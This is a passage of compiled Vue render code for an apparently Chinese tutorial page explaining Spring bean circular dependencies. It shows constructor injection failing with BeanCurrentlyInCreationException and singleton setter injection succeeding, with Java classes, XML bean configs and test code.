studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentA "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),t._v(" studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentA "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br"),s("span",{staticClass:"line-number"},[t._v("15")]),s("br")])]),s("p",[t._v("上面是很基本的3个类,,StudentA有参构造是StudentB。StudentB的有参构造是StudentC,StudentC的有参构造是StudentA ,这样就产生了一个循环依赖的情况,")]),t._v(" "),s("p",[t._v("我们都把这三个Bean交给Spring管理,并用有参构造实例化")]),t._v(" "),s("div",{staticClass:"language-xml line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-xml"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("constructor-arg")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("index")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("0"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("constructor-arg")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("index")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("0"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("constructor-arg")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("index")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("0"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br")])]),s("p",[t._v("下面是测试类:")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Test")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("static")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("main")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("String")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v(" args"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ApplicationContext")]),t._v(" context "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ClassPathXmlApplicationContext")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"com/liuqing/student/applicationContext.xml"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" \n "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('//System.out.println(context.getBean("a", StudentA.class)); ')]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[t._v("执行结果报错信息为:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("Caused by: org.springframework.beans.factory.BeanCurrentlyInCreationException: \n Error creating bean with name "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'a'")]),s("span",{pre:!0,attrs:{class:"token builtin class-name"}},[t._v(":")]),t._v(" Requested bean is currently "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("in")]),t._v(" creation: Is there an unresolvable circular reference?\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("h3",{attrs:{id:"_2-setter方式单例-默认方式"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-setter方式单例-默认方式"}},[t._v("#")]),t._v(" 2.setter方式单例,默认方式")]),t._v(" "),s("p",[t._v("Spring中Bean实例化的图\n"),s("img",{staticClass:"lazy",attrs:{alt:"在这里插入图片描述","data-src":"https://img-blog.csdnimg.cn/20200817004920930.jpg#pic_center",loading:"lazy"}})]),t._v(" "),s("p",[t._v("如图中前两步骤得知:Spring是先将Bean对象实例化【依赖无参构造函数】---\x3e再设置对象属性的")]),t._v(" "),s("p",[t._v("修改配置文件为set方式注入:")]),t._v(" "),s("div",{staticClass:"language-xml line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-xml"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('\x3c!--scope="singleton"(默认就是单例方式) --\x3e')]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("singleton"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("b"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("singleton"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("singleton"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br")])]),s("p",[t._v("下面是测试类:")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Test")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("static")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("main")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("String")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v(" args"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ApplicationContext")]),t._v(" context "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ClassPathXmlApplicationContext")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"com/liuqing/student/applicationContext.xml"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("System")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("out"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("println")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("context"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getBean")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"a"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[t._v("打印结果为:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("com.liuqing.student.StudentA@1fbfd6\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("我们结合上面那张图看,Spring先是用构造实例化Bean对象 ,此时Spring会将这个实例化结束的对象放到一个Map中,并且Spring提供了获取这个未设置属性的实例化对象引用的方法。 结合我们的实例来看,,当Spring实例化了StudentA、StudentB、StudentC后,紧接着会去设置对象的属性,此时StudentA依赖StudentB,就会去Map中取出存在里面的单例StudentB对象,以此类推,不会出来循环的问题")]),t._v(" 